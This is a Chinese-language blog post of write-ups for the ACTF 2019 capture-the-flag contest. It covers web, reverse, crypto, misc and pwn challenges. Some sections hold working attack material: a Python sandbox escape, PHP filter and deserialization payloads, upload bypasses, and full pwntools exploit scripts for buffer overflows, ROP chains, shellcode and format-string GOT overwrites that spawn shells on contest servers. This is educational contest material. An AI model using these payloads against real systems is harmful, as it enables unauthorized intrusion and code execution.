ACTF 2019

做出来的题的一些解题

Posted by XTXTMTXTX on 2019-05-24
Tech


代码之后会放在 https://github.com/XTXTMTXTX/ACTF-2019
一度第一名最后第四名,还喜提大一第二 我哭了 你呢.jpg


Trivial

Welcome, Social Media, Questionnaire

签到、签退题,不多说


Shell Master

nc连接上服务器之后先要求你提供 Auth Token (来自于网页,身份验证)。其实是个shell,但是几乎什么提示都没有,很容易蒙圈。联系题名输入 ls 发现蹦出了结果,好了 cat flag 完事。


Proof of Work

要你输入 hash 值后六位与他给出的相匹配,时限 30s 。题目 Hint 是暴力
但我打了个 300mb 的表。cat grep 出解


Asm Tour

照着给的 asm 里的注释一步步来就可以了,但我一开始没看到题目的问题在哪里。其实不用读完整个 asm ,到他要你求的寄存器的那几行代码上下翻看一下就出来了(当然要先读得懂)。


Getting Started with Blockchain Ethereum

给了个 MOOC 链接,我去看了一下(并通过了第一周的学习任务)。其实把他给的虚拟机环境下下来装好后直接照着里面的那个网页一步步操作下来就可以叻,我试的时候发现 Node 2 一直挖不出币,以为这是突破口。后来准备放弃之前直接交了 token 结果过了(当然之前我还 nc 地在 token 两旁加上了 ACTF{…} 结果 WA 。。看题目注释我以为是要自己加上格式)。


Misc

where is my flag

pdf 密码爆破
答案是 easy


broken png

补上文件头


Smile

下下来运行
当然要安装好需要的库 以及一个摄像头
不知道为什么我的 ps3eye 它用不了
反正笔记本自带的可以。它没识别我的脸 它觉得后面的柜子在笑
反正然后就有 flag 了


Arctic Tours

图片格式题
拜读一下 format 文档把图片高改高即可 能看到被盖住的 flag
因为 flag 的文字顶部有一点点从隐藏的地方露出来了


open your eyes

Windows 下 FC 两个程序查找差异
把差异部分提取出来 一边是 fake flag 另一边是 真的 flag


what’s this? 1 2 3

都是区块链相关地址 好像
百度一下 前两个比较好找 最后一个是 ZeroNet
配置好环境连接就可以了
国内访问可能需要梯子


Catch the Ghost

卡了好久。
以为是什么神秘隐写题。
第一层 zip 包 用 16 进制编辑软件把前 4 个字节交换一下打开 发现有密码
其实是位加密,修改标识位、强制解压都可以

最后得到一个 pdf ,全文复制粘贴出来发现隐藏文字
把多出来的文字拼起来就有了


under your nose

哈哈,这题我没删
仔细观察发现图片上有矩阵一样的点,发现间距是固定的,调用 python 库把这些像素提取出来拼接得到 flag
人生苦短 我用 Python


Old School

古典加密
我深夜做的 做吐了x
好吧好吧 是我菜。
第一行 Caesar 丢进 quipqiup 就出来了
第三行 Vigenère 丢进 https://www.guballa.de/vigenere-solver 也出来了
第二行我没头绪 到处找网站尝试解码 结果 rumkin.com 试到 Railfence 的时候出来了 很幸运。


flag above this page

hint 简单粗暴
查看 ssl 证书发现了隐藏域名 但是我解析不出来很崩溃
后来搜索 Lets Encrypt 证书的时候看到其用 TXT 解析验证域名主人的时候我才想起来有这么个东西
然后就好了 在线解析 txt 记录工具


Xmas Ornaments Ranking

用 Win Hex 看到结尾的 Xmas Ornaments Ranking Key了,感觉是某种编码。然后才意识到题名缩写就是 XOR
把开头字节和他给的 Key 异或一下就好了,结果得到个图片写着 flag


turtle

给的 hint 是 adblocker 和去哪儿网反爬虫
百度了一下发现反爬虫技术是和字体有关(我爬了个假文本)
然后我从爬虫入手,假装自己是百度蜘蛛访问 turtle (事后好像发现不影响)
然后发现浏览器下了个 eof 字体文件,先直接 16 进制编辑器打开,结果文件末尾的flag是假的。
转成 ttf 打开之后发现字体对几个字母进行了替换,接着查看 turtle 下下来的文件,在 css 文件里有个 ad 的 style 以及一个看着像乱码的 content, 直接对照那个字体进行替换就可以了。
但是那个字体不好认,但给了 flag md5 码,多试几次总能出来的。


pysandbox 6, 10

CTF-Wiki 上给的例子大部分是 python 2.7 的,而题目用的是python 3.7,payload 不能混用。
先是忘了在哪儿找到了个小魔法
().__class__.__bases__[-1].__subclasses__()
通过 __dict__ 发现有个叫 FileLoader 的东西,进一步探索发现可以输出文件内容
构造
[x for x in ().__class__.__bases__[-1].__subclasses__() if x.__name__ == 'FileLoader'][0].get_data('','flag')
过了 6
10 没几个人过,我以为很难。结果本地发现这个还是能用的,远程之后发现也是能用的,于是双倍经验。
大概不是期望解法?所以原本该怎么做


You can you up

mc 题
我只要一直跳跳跳就能拿到 flag 了!!!!
开个玩笑。
一开始是想直接获取 3d 模型,结果发现 mc 的提取比较难。
后来在网上找到了可以 dump 服务器地图的 mod,火速下载之,能用
接下来本地开那张图 gamemode 改一下飞上天就拿到 flag 了
本着增进室友关系的理念,我和我一个室友连进服务器玩了个把小时


Web

Game 1, 2, 3, 4

善用 F12 工具 以及自带的网络分析工具
还有 Fiddle
1 的 flag 藏在响应头里,

2 先是 Fiddle 查看 302 跳转时的相应找到密码
bpu 给页面下断点 改 Refer 为 localhost
第三个页面有个 admin = 0 的 cookie 改成 1 重发请求

3 robot.txt 得到密码
然后我卡关了。
后来找了个 ctf 专用扫描器 发现 images 文件夹存在,且可见 password txt 文件
第三关查看源代码发现 include 了 password.inc
直接访问该文件 f12 找到密码

4 先看网站代码注释的提示,得知和 vim 备份有关
下载 .index.php.swp
用 vim -r 打开得到密码
然后是网页遍历。先用 fiddle 给请求加上 cookie,再通过 fiddle 使 idm 能下载页面
然后直接从 id 1 下到 1000
发现 98 的时候文件大小就不一样, 打开得解。
查看网页注释 得知是 .git 泄露
GitHack 跑一下就好了,记得通过 fiddle 修改 cookie 访问,不然会调转到登录,软件就没法正常访问网页了。


file inclusion 1, 2

1 比较水,给 /data/flag 前加几次 ../ 就遍历到了 flag 文件
2 使用 php filter 防解析
page=php://filter/read=convert.base64-encode/resource=flag.php
得到结果 base64 解一下就好了


Upload 1, 2, 3, 4

1 上传 php 之前把 onsubmit="return checkFile()" 清了。 直接 Fiddle bpu 截获,修改请求头 为正常的 image 就过了
2 过滤后缀名,会把php清理掉,于是构造后缀名为 pphphp 即可,被过滤后反而成了 php 文件
3 把代码复制到正常 png 文件结尾处,后缀名改 空格php 提交即可
4 题目注释给了条件,发现php是先保存到文件夹后才判断文件有没有问题,所以是条件竞争题。
直接用 Bp intruder 不停发送请求,再在本地不停用 python 尝试在删之前访问 php,构造 php 直接读 flag 文件。

php 写什么?一句话木马、只是读文件,都可以。


baby php

构造:
?1=0e215962017&2=1&3=2&result=4c1b50b5579037f7e0b3c4e067d9735e440772cb&lucky[]=2
1 的值怎么来的呢,本地跑满足 (0eNUMBERS)==md5(0eNUMBERS) 的 NUMBERS,得 215962017,因为弱类型会把他们当数字处理,结果就都等于 0 了。
flag 后半段,构造 lucky[]=2 会导致 hash_hmac('ripemd160', $lucky, $salt); 返回空,于是 salt 对 hash 就无影响了,随便整个 2 和 3,接下来 的 result 就是可被我们计算的了。


another php

构造 ?%41AA_Bravo[]=1&AAA=O:3:"AAA":2:{s:6:"melody";s:3:"aaa";s:4:"flag";R:2;}
%41AA_Bravo[]=1 绕过字符串限制,将AAA_Bravo存成数组可绕过对 AAA_Bravo 大小的检测。
后半段则是构造 Object 使得 melody 与 flag 同时一起改变,于是得到最终的 flag


eyes can lie

开局一张图,flag全靠猜x
好吧,点进去是一个机器人图像,联想到 robots.txt
robots.txt 发现了 一个 remember_to_delete_this.php 但是打开无奈 404
等一下,真的是 404 吗?
访问别的页面的时候发现 404 长得不一样,于是肯定就是伪装的了,F12 分析得到 super_secret.log
这文件看着像一堆乱码,先url解码
解码完发现是一堆 SQL 注入的访问,先把注释符啥的都删了,只留下 SQL 注入和对应的时间(使用在线正则表达式比较方便)
对于每条语句,查了一下发现其实就是在循环取字符串中每个字符的每一位,该位上是 1 则 Sleep 两秒。于是乎结合 log 中前后语句的时间间隔可以推出除了最后一位的字符串上的每一位,最终求出 flag 。懒得写代码,于是我手推了好一会儿。


Reverse

real babyrev

IDA F5
Y0u_4re_7he_B3st


real childrev

F5
~M|@juJ@K@\"@]G\\z 与 0x1F 异或一下


easy reverse

打开先 F5,代码有点怪。分析了一下发现 main 中 第一个判断是判断输入是否为 18 位 ACTF 开头字符串,sub_401367() 是输出函数,然后 CreateTread 的其实就是第二部分的验证。进入StartAddress观察,发现其实就是判断输入的第 5 ~ 18 位字符异或 97 是否与已知数相同。于是直接把四个判断的四个数字复制出来,先每四字节分别字节翻转(小端序),再每个字节异或 0x97 就得到了要输入的内容,也就是 flag


md5 Hacker

F5,程序流程是先读32长的字符串到 0x601160 中并判断是否符合格式,接着进入主要的 sub_4009AB() 部分。进入 sub_400896 可知该函数对一个4位字符串求 MD5 码并存到另一个字符串里。综上,题目是将输入的 32 位字符串分成 8 组,每组分别求 MD5 码,再将 MD5 与 r_u_a_md5_hacker 异或,并与已知的 unk_6010A0 + 16 * i 比较。逆推的话先将 unk_6010A0 开始的 16 * 8 个字符串从程序中复制出来并依次与 r_u_a_md5_hacker 异或,得到 8 组 md5 ,再在在线 md5 解密网站分别解密(或者本地打表,每次就四位),依次拼接起来两边加上 ACTF{…} 就是 flag 了


Endless ELF

观察发现代码中 qword_6010A0 = sub_4005F6(0xAAALL); 极度影响程序速度,因为是不断地在递归运算。将 sub_4005F6 反编译的代码复制出来,加入记忆化搜索优化,输出解为 0x45793CEED72DAC19 。接着回到这个程序,把 call sub_4005F6 Patch 掉,丢到虚拟机里远程调试,手动修改 qword_6010A0 值为上述数字就得到 flag 了。
PS: 因为是 64 位数字,本地跑的时候要用 %llX 输出
PSS: 其实也可以直接 patch mov rax, 45793CEED72DAC19h 上去, ida 自带的 patch 比较鸡肋不能这么汇编,强烈推荐 Keypatch 111111


babyrev

乍一眼看上去一堆 while 和 goto 引起强烈不适。仔细思考,冷静分析,可以发现大部分代码不过是在求字符串 s 中每个字母在 a0123456789abcd 中的下标,也就是特殊映射过的字母转数字。进一步观察会发现 sub_950(a1, a2, a3) 所做的事是将 a1 看作行优先的 37*37 的矩阵,a2 看作列向量,并将 mod 79 下的 a1*a2 存入 a3。a1 是 aFourScoreAndSe 中的文本转数字,a2 是 flag 的文本转数字,a3 是得到的。问题转化为 a1、a3 已知求 a2。于是在模意义下求 a1 的逆矩阵,最终求个 (a1)^-1*a3 即为 flag 转为数字后的样子,再转回去就行了。
至于模意义下的求逆矩阵,直接高斯消元法即可。因为79是素数,因此 1~78 每个数都有不同的乘法逆元,只要把高斯消元里的除改成乘逆元即可。


AAA Maker

是个游戏。
反编译找比较关键的函数,最后找到要输入 神奇语句 得到什么什么什么。进一步观察发现是对一块空间用输入循环异或后直接调用,因此从函数开头的共同特点入手。
将解密前的函数头与其他的函数头复制出来,将前7位应该很可能解密后是一样的字节异或,得到 Key Hav3FuN,然而对于接下来象征栈空间大小(应该是这个,我猜的)的字节是不确定的,先拿这个 Key 异或一遍再说。结果再次反编译的时候就可以解析那个函数了,最后得到 flag。


Strange EXE

是水题。是水题。是水题。是水题。
做得很晚是因为不知道更新过附件了,其实早就找到 flag 了,然而是假的。
下好文件先用 ida 打开,发现了奇怪的字符串,像 jar2exe 这种。于是下个 jar 反编译器,比如 jd-gui。直接把 exe 拖上去查看 Secret 类翻一翻就看到 flag 了,还是明文


findfunc

apk 解包,用 ida 打开class什么什么文件发现关键函数(什么什么 Check,没错我又把程序删了),然后打开 .so 文件,找到了非常显眼的函数,发现了非常抽象的 (v3+676)(v3…) 什么的函数。直接修改对应变量的 type 为 JNIEnv* 他就变得正常了。
发现了一个被 strcmp 的字符串 flag{xxxxxxx} 在手机上安装 apk,输入,显而易见不对。
根据hint,找找别的函数,发现了一个调用了 mprotect 并将那个显眼的函数 jmp 到另一个函数的函数。推测 jmp 到的目标函数才是真正的函数。
这个函数的逻辑大概是 sub_C000FB8 先将字符串 "Java_com_a_findfunc_MainActivity_check" 进行处理成 v9,再将 v9、输入的字符串一并用 sub_C001030 处理,最后和另一处存着的字节做对比。
我懒得仔细观察那两个处理函数了,直接反编译、复制、粘贴、修改变量类型名使得通过编译。然后在本地模拟那个 check 函数的处理。
分析得出,每个字符在被处理之后互不影响别的字符处理结果,于是可以一个个依次枚举,最多跑 256*24 次,很快就出 flag{} 了。把这个 flag 复制到程序里得到真正的 flag。
PS:因为处理过程中的函数开小了结果爆栈调了很久。不能加边界判断真是坏文明(明明是你习惯不好)


Crypto

Warm Up1

字符串看成两部分 l 和 r
推推推推推推推推
得到
newl = k1 ^ r
newr = k2 ^ l ^ r
所以
k1 = newl ^ r
k2 = newr ^ l ^ r
r = newl ^ k1
l = newr ^ k2 ^ r = newr ^ k2 ^ newl ^ k1
于是可以通过已知的 fake_flag 的明文密文先求出 k1 k2
再用 k1 k2 求出flag


Warm Up3

观察函数,发现每次操作都是将上一次结果左移一位,在最右边空出来的那位加上上次结果 &mask 之后 1 的位的个数 &1,最后取208位,于是可以逆推。
每次操作先取出最右边那位记为 z,再看看左边 207 位右移一位再 &mask 后有多少个1,记为 k ,如果 k&z == 1 说明最左边缺了了个 1,否则缺了个0。于是操作 208 次就是原先的 flag


Warm Up4

存在一个映射 S(x) 将字符串中每个字符映射成另一个
题目是先对字符串填充,然后8个一行,进行了随机次运算,最后再将列的顺序打散
根据最后一行有四个 0x48 ,推测是 Sn(0x04)==0x48
先求 R(S(x))=x
于是 不断递推 slist=[chr(R[ord(i)]) for i in slist] 直到 0x48 变回了 0x04
当然还是不对的,但是我们可以通过已知的字符和语义得到相应的列的顺序。
剩下的就是继续逆推+md5验证字符串是不是所求 flag。


Unsafe CTR

对每次加密,求 mj 使得 ci,j^mj 仍然是可读字符串的范围,最后从后往前猜词即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
cs=['167c7f4fff941dea1b0b97f49e6d51fea7878c281f8d981e4fb358051eefac10c140327c77ad640bed157fa1c93717485d777d916be782732095fee4c21ca0ea56f248a5b8a0398950f38117877c1ac8b17f758af1e0f08e26b5e86d28137b'.decode('hex'),
'177d3349e5cb49a70e4292f0d37c1eb7bdc9b71e26aedd5d1bb35f0408efba55c04c30747cf93e4497507cb09b251d514a6b7d946ba18f6e2299b0fa8d1defa256f70dc9b0ee6cd107f59c538b605cdbbc3c21d9c2cfdc8044f2a8367e1d3a'.decode('hex'),
'11777f48e5950cea1804dce2cb7a56feb8889f3808c79b1249fe4b060daaed51df0f0b717cf91842dd156af5bd21586a406036c32eee95210693b0c6830ba7ea63e90dc986a6239d15baa0529d6756daf073678adec7d68e26bde47725413a'.decode('hex'),
'7f387f05aab001ab03428bf49e694cb1ad85992400c7dd5d52e01e3e04aaed62c548376d398d250bed1872b9c40c1d5441757dc359e48b6d7fbef5ea8c0fefac58f348a8bda26dd15dbaa65f8b3279c1be6d74cfc5da85c10cfcc46a355270'.decode('hex'),
'1b777f5ce59249ab1b0edce5d67050b5ee9d902c19c7891552e01e0904aea35ec9437f7178aa6a49df1870f58b3c1d5c4c7a388731a1a9603adcfff69048a3af5be0068df1bb229806ba914597624ec1f07b74d396c7d68e1eb3f6383f5534'.decode('hex'),
'16767f51e28e1aea1a0d98f49e394ab6abc991230493941c57b3480f0fbba2428c66093970aa6a59df0d7bb49d2b1c515632388d6df39e712699f4a39607efa555f50980bfee2dd103ff861781741ad8b17074cfc58effc74abdf538365c78'.decode('hex'),
'16757f56e5951bb3572f9de3d77612feac9c8c6d2ea8b32974c0714a3c9d847eef6a0c4a39b0390bd3133eb4c92a115b49772f8660f5c7673d8ef5f09649efe717d21f80b7ba039f23ff91429c7b4ed7f04860d3969c959f5ff1b62b7d012d'.decode('hex'),
'1e6c7f4ae48249ba180b92e59e501ea9af9ad82908859c0952fd594a1ba7a844c44a2d3976ab6a45d5093ea1866e19594b32298b6ba1b24210b1d6c8ae3cefa958f11199b0bd389050f59c17867748cbf07e74de96e785c60baae338245c7b'.decode('hex'),
'326d3c4daa940ca611428ef4cd695bbdbac7d8000c8c94135cb34c0b02aba25d8c43306b7cb46a42ca0e6bb8c9270b1d4e7129966fed8b78729db0ef8d1cefa256f30c8ca3ee389911f4d25880771ad9bf696dce96dacdc704b7a66c325b34'.decode('hex'),
'1e5b0b63a49006a7120c9af4d06a56b1bb8b99611a888f1c55f4590f05a4a442cd01'.decode('hex')]

dict='abcdefghijklmnopqrstuvwxyz'
dict+='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
dict+='0123456789'
dict+='!?-., '


for keylenth in range(95,96):
k=[]
passw=[]
for jjj in range(100):
k+=[{}]
passw+=[[]]
flag=1
for i in range(10):
for j in range(len(cs[i])):
k[j%keylenth][cs[i][j]]=1
for i in range(keylenth):
flag1=0
for j in range(0x100):
flag2=1
for l in k[i]:
if not(chr(ord(l)^j) in dict):
flag2=0
break
if(flag2):
flag1=1
passw[i]+=[j]
if not(flag1):
flag=0
break
if flag:
print keylenth
print passw

for i in range(95):
print i,passw[i]

def check():
for i in range(95):
if len(passw[i])==1:
continue
print i,passw[i]


def show(input1,input2):
for i in range(10):
ps=''
for j in range(len(cs[i])):
if j==input1:
ps+=chr(passw[input1][input2]^ord(cs[i][j]))
else:
if(len(passw[j])==1):
ps+=chr(passw[j][0]^ord(cs[i][j]))
else:
ps+='?'
print ps

k[j%95][cs[i][j]]=1

def dp(input1,input2):
passw[input1]=passw[input1][input2:input2+1]


'''
Id just like to interject for a moment. What youre referring to as Linux is in fact GNU Linux o
Hello, my name is OSKI and welcome to--berkeley we hope you have a wonderful stay........
No more of such vague formulae as The Right To Work or To Each The Whole Result of his Labour.
What we proclaim is The Right To Well-Being Well-Being for All! - The Conquest of Bread
Do you all think that this channel has been breached? Nah our leland univ crypto guy is top of
In this mode the initial vector IV is repeatedly encrypted to obtain a set of values Zi as fol
Im sorry Mario, but CONTOSO PRINCESS is in a different forest! - SwiftOnSecurity Tay 2015-03-29
At one point I was debating whether or not to add the UCBMFKLT copypasta on here but I have too
much self respect. Making random lorem ipsum is actually a lot harder than one would think tbh
ACTF.womenfenshouba,woranggeikira.
'''


Lovely AES1

我们每次可以求 a+input+b+secret 的 aes 值,而题目的 aes 是 16 个一块加密的,块与块之间不影响。于是可以构造 input 使得密文中的某一块是每次仅有一位未知的 secret 位加上已知明文组成的,于是就可以暴力。至于暴力的方法则是构造 input 使得 已知明文+暴力枚举位 是单独的一块。
最多跑 19*256 次,很不错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import os
auth='<deleted>'
sh=remote("10.214.24.188",13370)
sh.sendline(auth)
sh.recvrepeat(timeout = 1)
#sh=process('./challenge1.py')
sh.recvrepeat(timeout = 1)
sec=''
a='Your name:'
c='Your secret:'
def enc(str):
pad=(16-len(a))*'a'+str
sh.sendline('Get secret'.encode('hex'))
sh.recvuntil("Your name: ")
sh.sendline(pad.encode('hex'))
tret=sh.recv()
tret=tret[:len(tret)].decode('hex')
#tret[16:16*2].encode('hex')
return tret[16:16*2]

for i in range(1,20):
b=(48-len(a+c)-i)*'0'
sh.sendline('Get secret'.encode('hex'))
sh.recvuntil("Your name: ")
sh.sendline(b.encode('hex'))
ret=sh.recv()
ret=ret[:len(ret)].decode('hex')
print ret[16*2:16*3].encode('hex')
for j in range(0,256):
if enc((a+b+c+sec+chr(j))[16*2:16*3])==ret[16*2:16*3]:
sec+=chr(j)
break

print sec

sh.sendline('Get flag'.encode('hex'))
sh.sendline(sec.encode('hex'))
sh.interactive()

Pwnable

baby bof

字符串溢出。
用 ida 打开计算 offset 得到 padding 长度
注意小端序


baby ret2lib

根据题给 so 文件求 offset
题目程序给你一次读地址的机会,读 got 表中的数据即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
'''
.got.plt:0804A01C off_804A01C dd offset puts //134520860


.text:0005F140 public puts ; weak

.text:0003A940 public system ; weak

0015902B '/bin/sh'
'''


auth='<deleted>'
sh=remote("10.214.10.18",11523)
sh.recvrepeat(timeout = 1)
sh.sendline(auth)
sh.recvrepeat(timeout = 1)
sh.sendline('134520860')
sh.recvrepeat(timeout = 1)


puts=0xf7e52140 #from remote

binsh_addr = puts-0x0005F140+0x0015902B
system_plt = puts-0x0005F140+0x0003A940

payload = flat(['a' * 0x3c, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

baby ret2sc

我以为是 ret2systemcall 结果找不到 gadgets
checksec 发现 NX 未开启,输入又是输入到全局变量里的
机智的我把 gadgets 输进去然后用 ret2systemcall 操作做
后来才意识到是 ret2shellcode ,没必要兜圈子。
罢了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
'''
0x0015902b /bin/sh
0x0003A940

.bss:0804A060 pop eax
.bss:0804A061 retn
.bss:0804A062 ; ---------------------------------------------------------------------------
.bss:0804A062 pop edx
.bss:0804A063 pop ecx
.bss:0804A064 pop ebx
.bss:0804A065 retn
.bss:0804A066 ; ---------------------------------------------------------------------------
.bss:0804A066 int 80h ; LINUX -
.bss:0804A066 ; ---------------------------------------------------------------------------
.bss:0804A068 db 0

.bss:0804A060 name [50]

/bin/sh // 0x0804A060

\x58 // pop eax 0x0804A068
\xc3 // ret


\x5a // pop edx 0x0804A06A
\x59 // pop ecx
\x5b // pop ebx
\xc3 // ret

\xcd\x80 // int 80h 0x0804A06E


----------------------------------------------------------
'''

from pwn import *
name='/bin/sh\0\x58\xc3\x5a\x59\x5b\xc3\xcd\x80'+'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'
auth='<deleted>'


sh=remote("10.214.10.18",11782)

sh.recvrepeat(timeout = 1)
sh.sendline(auth)

sh.recvrepeat(timeout = 1)
sh.sendline(name)
sh.recvrepeat(timeout = 1)

pop_eax_ret = 0x0804A068
pop_edx_ecx_ebx_ret = 0x0804A06A
int_0x80 = 0x0804A06E
binsh = 0x0804A060

payload = flat(['A' * (0x4+0x14+8), pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])

sh.sendline(payload)

sh.interactive()

baby rop

静态链接,ROPgadget --ropchain 一梭子
才怪,要修改一下,太长了,还要截断
最后的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from struct import pack
auth='<deleted>'
main_addr=0x08048E24

sh=remote("10.214.10.18",11863)
sh.recvrepeat(timeout = 1)
sh.sendline(auth)


#sh=process('./baby_rop')
sh.recvrepeat(timeout = 1)


p = ''
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += p32(main_addr)
payload="A"*32+p
sh.sendline(payload)
sh.recvrepeat(timeout = 1)

p = ''
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0808f720) # mov eax, 7 ; ret
p += pack('<I', 0x0808F6A0) # add eax, 3 ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80
payload="A"*28+p
sh.sendline(payload)
sh.recvrepeat(timeout = 1)

sh.interactive()

orw

标准 orw
找个别人的 payload 改改都能过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
auth='<deleted>'

#('SuperLo0000000000000ngFlagggggggggggggggggggggggName.txt'[::-1]).encode('hex')


shellcode = "xor ecx,ecx;push ecx;"
shellcode = shellcode + "push 0x7478742e;push 0x656d614e;push 0x67676767;push 0x67676767;push 0x67676767;push 0x67676767;push 0x67676767;push 0x67676761;push 0x6c46676e;push 0x30303030;push 0x30303030;push 0x30303030;push 0x306f4c72;push 0x65707553;;"
shellcode = shellcode + "mov ebx,esp;xor edx,edx;mov eax,0x5;int 0x80;mov ebx,eax;mov ecx,esp;mov edx,0x30;mov eax,0x3;int 0x80;mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80"

payload = asm(shellcode)


sh=remote("10.214.10.18",13647)

sh.recvrepeat(timeout = 1)
sh.sendline(auth)

#sh=process('./orw')
sh.recvrepeat(timeout = 1)

sh.sendline(payload)

sh.interactive()

pwn 库好文明


fsb easy

64 位的格式化字符串漏洞
需要一次性写入 & 写入地址需放最后防止被截断
payload='a%4196552c%8$lln\x18\x10\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'


fsb inf

64 位的格式化字符串漏洞
有很多次循环
我是先读取got表,再根据末三位地址搜索得到服务器所用 libc 库
有了 libc 库就能得到别的函数的偏移,以及 onegadget 一键获取 shell
onegadget 的条件是 rax = 0 而观察调用 printf 前一句有 mov rax, 0 所以可以修改让 printf 执行 onegadget
但是 gadget_addr 太大了,一次写不完
思路:先 一字节一字节 把 exit 的 got 表修改到 gadget_addr ,最后一次一步将 printf_got 改成 call exit 的地址,实现跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
fsb=ELF('./fsb_inf')

auth='<deleted>'


#sleep(5)
sh=remote("10.214.10.18",17526)
sh.sendline(auth)

#sh=process('./fsb_inf')
sh.recvrepeat(timeout = 1)

puts_got = fsb.got['puts']
printf_got = fsb.got['printf']
ext_got = fsb.got['exit']

p1='AAAA%7$s'+p64(puts_got)
sh.sendline(p1)
ret1=sh.recv(timeout = 1)
ret1=ret1[4:ret1.find('\n')-3]
puts_addr=u64(ret1+'\0'*(8-len(ret1)))
print puts_addr

puts_offset = 0x06f690 #https://libc.blukat.me/?q=puts%3A690&l=libc6_2.23-0ubuntu10_amd64
gadget_offset = 0x45216

#puts_offset = 0x071910
#gadget_offset = 0x4484f

gadget_addr = puts_addr - puts_offset + gadget_offset

psize=gadget_addr&0xffffff

for i in range(8):
payload =''
if(ord(p64(gadget_addr)[i])!=0):
payload ='%'+str(ord(p64(gadget_addr)[i]))+'c'
payload +='%9$hhn'
payload +='A'*(24-len(payload))
payload += p64(ext_got+i)
print(payload)
sh.sendline(payload)


payload ='%999999c%999999c%999999c%999999c%196084c'
payload +='%13$lln'
payload +='A'*(7*8-len(payload))
payload += p64(printf_got)
print(payload)
sh.sendline(payload)

sh.sendline('\x00')

sh.interactive()

fsb one

和 fsb inf 几乎完全一致,只不过一开始就要把 puts 的 got 指向
然后这回获取原函数地址我是通过 setvbuf
其他没了,注意 puts 没有输出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
fsb=ELF('./fsb_one')

auth='<deleted>'


#sleep(5)
#sh=remote("10.214.10.18",18422)
#sh.sendline(auth)

sh=process('./fsb_one')
sh.recvrepeat(timeout = 1)

puts_got = fsb.got['puts']
printf_got = fsb.got['printf']
setvbuf_got = fsb.got['setvbuf']
ext_got = fsb.got['exit']

payload ='%999999c%999999c%999999c%999999c%196748‬c'
payload +='%13$lln'
payload +='A'*(7*8-len(payload))
payload += p64(puts_got)
print(payload)
sh.sendline(payload)


p1='AAAA%7$s'+p64(setvbuf_got)
sh.sendline(p1)
ret1=sh.recv(timeout = 1)
ret1=ret1[4:ret1.find('\n')-3]
setvbuf_addr=u64(ret1+'\0'*(8-len(ret1)))
print setvbuf_addr

#puts_offset = 0x06f690 #https://libc.blukat.me/?q=puts%3A690&l=libc6_2.23-0ubuntu10_amd64
#gadget_offset = 0x45216
#setvbuf_offset = 0x6fe70

puts_offset = 0x071910
gadget_offset = 0x4484f
setvbuf_offset = 0x71F90

gadget_addr = setvbuf_addr - setvbuf_offset + gadget_offset

for i in range(8):
payload =''
if(ord(p64(gadget_addr)[i])!=0):
payload ='%'+str(ord(p64(gadget_addr)[i]))+'c'
payload +='%9$hhn'
payload +='A'*(24-len(payload))
payload += p64(ext_got+i)
print(payload)
sh.sendline(payload)

payload ='%999999c%999999c%999999c%999999c%196084c'
payload +='%13$lln'
payload +='A'*(7*8-len(payload))
payload += p64(printf_got)
print(payload)
sh.sendline(payload)

sh.sendline('\x00')

sh.interactive()



##################################################################

Warm up Pwn

这题忘了当时怎么做的了
大概是ret2reg
反正没卡我多久,fsb inf 卡得久。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#0x0000000000400605 : jmp rsp
from pwn import *
auth='<deleted>'
sh=remote("10.214.10.18",10085)
sh.recvrepeat(timeout = 1)
